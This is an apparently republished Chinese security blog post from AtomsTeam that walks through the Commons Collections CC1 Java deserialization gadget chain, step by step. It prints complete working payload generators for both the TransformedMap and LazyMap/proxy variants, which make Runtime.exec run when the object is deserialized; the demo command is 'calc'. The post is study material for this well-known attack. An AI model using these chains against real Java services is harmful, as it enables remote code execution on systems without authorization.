免责声明
请您仔细阅读以下声明:
您在AtomsTeam查看信息以及使用AtomsTeam服务,表明您对以下内容的接受:
AtomsTeam提供程序(方法)可能带有攻击性,仅供安全研究与实验性教学之用。
用户将其信息做其他用途,由用户承担全部法律及连带责任,AtomsTeam不承担任何法律及连带责任。
与此同时,希望你能遵守如下的规范,因为这能帮助你走的更远:
1.不在没有直接或间接授权的情况下,对公网的任何设施进行安全检测。
2.在测试的过程中,不做任何可能导致业务遇到干扰的动作。
3.任何的测试中,不查看与下载任何敏感的数据。
4.发现漏洞后,第一时间通过企业SRC进行报告。
5.不在目标站点使用后门类工具,如需必要的测试,请获取目标网站官方授权,测试可通过替代的方案(如webshell替换为phpinfo页面等)。
参考如下:
https://wx.zsxq.com/dweb2/index/group/2212251881 p牛的java漫谈
https://www.bilibili.com/video/BV1no4y1U7E1/?spm_id_from=333.1007.top_right_bar_window_history.content.click&vd_source=931231460f45d9664ec2a02f0adccb49 白日梦组长的分析
贴出demo
package ysoserial;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;
public class CommonCollections1 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.getRuntime()),
new InvokerTransformer("exec", new Class[]{String.class},
new Object[]
{"calc"}),
};
Transformer transformerChain = new
ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap = TransformedMap.decorate(innerMap, null,
transformerChain);
outerMap.put("test", "xxxx");
}
}
介绍重要的地方:
1.ConstantTransformer
这个类的作用:
构造方法的话就是给他一个对象把这个对象赋值到iConstant
还有个方法就是transform方法,这个方法就是传入任意对象都返回iConstant 这里的transform就是回调方法
2.InvokerTransformer
这个就是传入3个值,第一个是方法名,第二个就是参数的类型,第三个就是执行的参数
这里看他的回调函数transform方法,就是任意代码执行,传入一个类获取类的原型类,然后传入方法名和参数类型,最后通过invoke将iArgs传入到获取的方法中执行
这里还可以写一个小demo来演示这个的用法
public class execDemo {
public static void main(String[] args) {
Runtime r = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
invokerTransformer.transform(r);
}
}
这边的意思就是通过构造函数先给invokerTransformer设置要获取调用的方法是exec要传入的参数是calc然后通过transform传入类
然后就通过反射执行了calc
3.ChainedTransformer
这边的构造函数是将获取到的数组存到iTransformers中
然后这边的transform比较关键,因为这里是链式调用,将前一个的结果当成下一个的输入
比如你给iTransformers传入a和b
然后调用transform(c)的话就是 b.transform(a.transform(c))这样的 就是先执行a.transform(c)结果给object 然后再执行b.transform(object)
4.TransformedMap.decorate
这个TransformedMap.decorate其实就是给TransformedMap赋值的 传入三个参数一个map两个Transformer
开始分析了:
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.getRuntime()),
new InvokerTransformer("exec", new Class[]{String.class},
new Object[]
{"calc"}),
};
Transformer transformerChain = new
ChainedTransformer(transformers);
这里是干啥呢,就是给ChainedTransformer数组传入两东西 然后等着被调用
先看看如果调用了会是啥结果
ChainedTransformer.transformer是链式调用嘛
所以如果调用了transformer(a)的话他会先ConstantTransformer(Runtime.getRuntime()).transformer 这里前边提了他会获取构造函数的输入Runtime.getRuntime()这里就直接获取了Runtime对象存入object
然后调用到第二个new InvokerTransformer("exec", new Class[]{String.class},new Object[]{"calc"}).Transformer(object) 那这就直接执行Runtime的exec方法参数是calc了就直接弹计算器了
现在看如何调用ChainedTransformer.transformer
查看调用的时候可以看到这边有
但是不是public不能直接获取,这边可以这样看valueTransformer如果是ChainedTransformer然后随便给这个transformValue传一个东西不就秒了吗
看看valueTransformer怎么来的
可以看到是从
不是public 看看这个TransformedMap咋来的
这个前边提到过就不赘述了所以
Map innerMap = new HashMap();
Map outerMap = TransformedMap.decorate(innerMap, null,
transformerChain);
直接给他valueTransformer赋值为transformerChain 然后如果走到了transformerValue的话就直接调用transformerChain.transformer了
现在看看transformerValue怎么调用的
然后发现在put时调用了
如果put("a","b")的话就会走到transformValue("b") 就会走到 valueTransformer.transform(object)也就是
ChainedTransformer.transformer("b")然后就进入了他的回调方法开始链式调用
第一步就是ConstantTransformer(Runtime.getRuntime()).transformer("b")然后获取runtime对象然后
InvokerTransformer("exec", new Class[]{String.class},new Object[]{"calc"}).transformer(runtime)他就弹计算器了
这只是一个很简单的demo算是完成了反序列化的一半过程
其实就是ConstantTransformer和InvokerTransformer传入ChainedTransformer中被执行ChainedTransformer.transformer时将ConstantTransformer的结果runtime对象传入InvokerTransformer中执行,通过反射获取exec函数然后达到任意命令执行
现在完成下一步
反序列化肯定是readobject作为入口类
所以思路就是从readObject里走到TransformedMap中某个调用了valueTransformer.transform(value)就行
这里发现checkSetValue
在org.apache.commons.collections.map.AbstractInputCheckedMapDecorator.MapEntry中的
setValue中调用了checkSetValue
并且发现TransformedMap的父类就是AbstractInputCheckedMapDecorator
TransformedMap的构造方法会把valueTransformer给到父类就是parent具体可以自己跟
然后setValue就是遍历多个键值对时的方法 一个Entry就是一个键值对
所以如果这是后对TransformedMap.decorate(map, null, transformerChain)进行setValue就是对
TransformedMap进行checkSetValue
就是对
transformerChain进行transform
这里有点迷糊我展开讲一下
ChainedTransformer transformerChain = new ChainedTransformer(transformers)这里就是对那个恶意的类进行递归调用嘛
但是是得transformerChain.transform才能触发
恰好TransformedMap.checkSetValue中的valueTransformer.transform(value)
这个valueTransformer恰好在
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {return new TransformedMap(map, keyTransformer, valueTransformer);
里被定义 然后checkSetValue又在
static class MapEntry extends AbstractMapEntryDecorator {
*/** The parent map */* private final AbstractInputCheckedMapDecorator parent;
protected MapEntry(Map.Entry entry, AbstractInputCheckedMapDecorator parent) {super(entry);this.parent = parent;}
public Object setValue(Object value) {value = parent.checkSetValue(value);return entry.setValue(value);}}
里被调用 这里就圆回去了
所以
HashMap <Object,Object> map = new HashMap<Object,Object>();
map.put("value","b");
Map <Object,Object> map1 = TransformedMap.decorate(map, null, transformerChain);
for (Map.Entry entry:map1.entrySet()) {
entry.setValue(r);
}
就会这样走了:
把恶意的类搞成数组装进TransformedMap.decorate
然后对数组进行遍历操作的时候因为上一步会把value也给org.apache.commons.collections.map.AbstractInputCheckedMapDecorator的parent
所以在遍历数组时就会调用 setvalue就是 parent.checkSetValue(runtime对象)
就是transformerChain.checkSetValue(runtime对象)
就是transformerChain.transform(runtime对象) 这不就弹了吗
但是这样不算反序列化漏洞的因为
AbstractMapEntryDecorator.MapEntry.setValue没有在readObject里
所以这个时候就要找在readObject的setValue
恰巧
sun.reflect.annotation.AnnotationInvocationHandler#readObject中就有setValue
如果这个memberValue可控并且走到这的话
那么readObject后就会走到transformerChain.transform
所以屡一下 当对AnnotationInvocationHandler对象反序列化的时候会走到Entry遍历 然后 满足条件就会走到setValue如果memberValue是TransformedMap.decorate的话就会走到AbstractMapEntryDecorator.MapEntry.setValue里就会走到TransformedMap的checkSetValue方法
就会走到valueTransformer.transform(value) 就能成
恰巧了他的构造方法就可以设置memberValue
所以现在先创建一个AnnotationInvocationHandler对象
但是这个类不是public但是可以通过反射来创建对象
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
这边要两种一个是Class,还有一个是Map
那就给他定义参数类型 Constructor annotconstructor = c.getDeclaredConstructor(Class.class, Map.class);
然后权限给他搞成都能访问
annotconstructor.setAccessible(true);
然后实例化
Object o = annotconstructor.newInstance(Bound.class, map1);
但是这边有个问题是runtime是无法进行序列化的但是Runtime.class可以
那么我就这个样子
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}),
};
触发transformerChain.transfor(任意)的时候会把任意传到
new ConstantTransformer(Runtime.class).transfor(任意) 会获取一个Runtime.class
然后传到
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}) 通过Runtime.class.getMethod方法获取getRuntime方法
然后
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null})
通过这个Method对象的invoke执行getRuntime获取一个Runtime对象
然后
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
通过Runtime反射获取他的exec方法执行calc
这样就ok了
然后只要调用了transformerChain.transfor(任意)的时候就能弹计算器,至于为啥要把new ConstantTransformer(Runtime.class)也写进去就在后边看了
然后写个序列化和反序列化的方法 去序列化和反序列化
public static void ser(Object object) throws IOException {
ObjectOutputStream oss = new ObjectOutputStream(new FileOutputStream("1.bin"));
oss.writeObject(object);
}
public static void unser(String filename) throws IOException, ClassNotFoundException {
ObjectInputStream in = new ObjectInputStream(new FileInputStream(filename));
Object obj = in.readObject();
}
public class execDemo {
public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}),
};
ChainedTransformer transformerChain = new ChainedTransformer(transformers);
HashMap <Object,Object> map = new HashMap<Object,Object>();
map.put("value","b");
Map <Object,Object> map1 = TransformedMap.decorate(map, null, transformerChain);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotconstructor = c.getDeclaredConstructor(Class.class, Map.class);
annotconstructor.setAccessible(true);
Object o = annotconstructor.newInstance(Bound.class, map1);
ser(o);
unser("1.bin");
}
}
发现可以走到遍历数组这里,但是进不去setValue应为meberType为null
现在就看看memberType是怎么获取的
他是获取了memberTypes中的name的值
那这个name怎么来的 是memberValue里获取的
那memberTypes怎么来的呢
可以看到这边就是实例化时传入的Bound.class就是那个注解
所以这下就好理解为啥进不去了
memberTypes是注解
memberValue是传入的数组map1里边的数组是map就是"value","b"
所以
String name = memberValue.getKey(); 获取了value
Class<?> memberType = memberTypes.get(name)
就是获取Bound里的成员变量 至于为啥可以去跟
Map<String, Class<?>> memberTypes = annotationType.memberTypes();
Bound.class中没有成员变量
那就找个有的
看了一圈看到个这个
成员变量就是value
所以只需要memberTypes.get("value")就ok这个name等于value的话
memberValue.getKey的结果就得是map.put("value","b")的key是value那就没毛病了老铁 这里刚好
成功的走到了setValue
这时候就要想了为啥我要把new ConstantTransformer(Runtime.class)写到数组第一行
setValue的内容不可控
你发现他下一步走到了这里这里value依旧不可控
但是你下一步会走到
TransformedMap.transform
然后走到ChainedTransformer.transform
这边记得 是输出作为下一个的输入
然后你再看看
new ConstantTransformer(Runtime.class) 这个
是不是不管new ConstantTransformer(Runtime.class).transform(xxx)的内容xxx为任何东西都返回的是Runtime.class 所以可不可控无所谓啊 他只要能返回Runtime.class就好
所以
new ConstantTransformer(Runtime.class).transform(
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name))
)
他是不是也是返回了Runtime.class 这不就欧克了吗 这不就出来了吗
反序列化说真的 学起来还是蛮费劲的 但是你理解cc1就理解了整个cc链
所以那个注解是啥都行不一定非要Target只要是有成员就行
下来贴完整的链:
public class execDemo {
public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}),
};
ChainedTransformer transformerChain = new ChainedTransformer(transformers);
HashMap <Object,Object> map = new HashMap<Object,Object>();
map.put("value","b");
Map <Object,Object> map1 = TransformedMap.decorate(map, null, transformerChain);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotconstructor = c.getDeclaredConstructor(Class.class, Map.class);
annotconstructor.setAccessible(true);
Object o = annotconstructor.newInstance(Retention.class, map1);
ser(o);
unser("1.bin");
}
public static void ser(Object object) throws IOException {
ObjectOutputStream oss = new ObjectOutputStream(new FileOutputStream("1.bin"));
oss.writeObject(object);
}
public static void unser(String filename) throws IOException, ClassNotFoundException {
ObjectInputStream in = new ObjectInputStream(new FileInputStream(filename));
Object obj = in.readObject();
}
}
这个其实是国内版本并不是国外版本
现在请看国外版本
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}),
};
ChainedTransformer transformerChain = new ChainedTransformer(transformers);
最关键的部分其实国内外都一样的,就是这里
然后触发transformerChain.transformer就ok
查找用法发现有两个第二个TransformedMap就是国内的那一条链,上边那一条LazyMap就是国外那一条
进去看看
解释一下map.containsKey(key) == false 就是查找指定键 如果map里没有这个键的话就会进入到
Object value = factory.transform(key);
所以get()里不给他传map里有的key就ok
现在有一个地方要注意,就是factory要可控
发现在他的构造函数中其实是可控的
然后再看看这个不是public的类是如何被调用的
他是被
这个静态方法所调用的
继续写payload
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}),
};
ChainedTransformer transformerChain = new ChainedTransformer(transformers);
Map map = new HashMap();
map.put("a","b");
Map lazymap = LazyMap.decorate(map,transformerChain);
lazymap.get(null);
这样就能弹计算器了,因为get的是null而这个lazymap不存在null这个键就直接弹 不理解的话调试一下就ok 这里先不赘述了
现在要这样,要去找哪里调用了get方法最好是在readObject里边于是就找到了
sun.reflect.annotation.AnnotationInvocationHandler#invoke这里
这个方法中调用了get方法 好直接往下写
public static void main(String[] args) throws Throwable {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}),
};
ChainedTransformer transformerChain = new ChainedTransformer(transformers);
Map map = new HashMap();
map.put("a","b");
Map lazymap = LazyMap.decorate(map,transformerChain);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotconstructor = c.getDeclaredConstructor(Class.class, Map.class);
annotconstructor.setAccessible(true);
InvocationHandler invocationHandler = (InvocationHandler) annotconstructor.newInstance(Target.class, lazymap);
invocationHandler.invoke(null,Runtime.class.getMethod("getRuntime"),null);
直接调用invoke方法 然后传一个方法名不是equals也不是toString也不是hashCode也不是annotationType的方法中不需要参数的方法就ok
但是invoke不在readObject里这就很难受那就接着找,但是但是但是这个时候要发现一个东西
这不就是妥妥动态代理的写法吗,我只要把他的实例给代理然后随便调用一个方法就会走到invoke
ok说干就干
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}),
};
ChainedTransformer transformerChain = new ChainedTransformer(transformers);
Map map = new HashMap();
map.put("a","b");
Map lazymap = LazyMap.decorate(map,transformerChain);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotconstructor = c.getDeclaredConstructor(Class.class, Map.class);
annotconstructor.setAccessible(true);
InvocationHandler invocationHandler = (InvocationHandler) annotconstructor.newInstance(Target.class, lazymap);
Map proxy = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(),new Class[]{Map.class},invocationHandler);
proxy.entrySet();
我要给lazymap代理他是Map所以都给的Map.class 然后
直接调用proxy.entrySet方法因为他会被AnnotationInvocationHandler的invoke处理而entrySet这个方法满足了到
memberValues.get(member)的条件memberValues就是lazymap就是lazymap.get所以就弹计算器了
然后突然就被他们那些大牛子找到了在AnnotationInvocationHandler的readObject方法中调用了entrySet方法
但是这个proxy没办法序列化然后用的
因为他是LazyMap.entrySet而不是proxy的entrySet 因为我要调用proxy里的方法才会走到invoke
这时候可以想起来AnnotationInvocationHandler的构造方法那我把proxy给AnnotationInvocationHandler的memberValues就好
然后反序列化的时候就会触发proxy.entrySet 就会走到invoke 然后memberValues就是proxy中的memberValues就是lazymap
然后就直接lazymap.get了
完整的payload
public class execDemo {
public static void main(String[] args) throws Throwable {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}),
};
ChainedTransformer transformerChain = new ChainedTransformer(transformers);
Map map = new HashMap();
map.put("a","b");
Map lazymap = LazyMap.decorate(map,transformerChain);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotconstructor = c.getDeclaredConstructor(Class.class, Map.class);
annotconstructor.setAccessible(true);
InvocationHandler invocationHandler = (InvocationHandler) annotconstructor.newInstance(Target.class, lazymap);
Map proxy = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(),new Class[]{Map.class},invocationHandler);
Object payload = annotconstructor.newInstance(Target.class,proxy);
ser(payload);
unser("1.bin");
}
public static void ser(Object object) throws IOException {
ObjectOutputStream oss = new ObjectOutputStream(new FileOutputStream("1.bin"));
oss.writeObject(object);
}
public static void unser(String filename) throws IOException, ClassNotFoundException {
ObjectInputStream in = new ObjectInputStream(new FileInputStream(filename));
Object obj = in.readObject();
}
}
疑问:触发命令执行的是否为entrySet
交流群:添加好友回复进群
原文始发于微信公众号(AtomsTeam):cc链之cc1分析
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论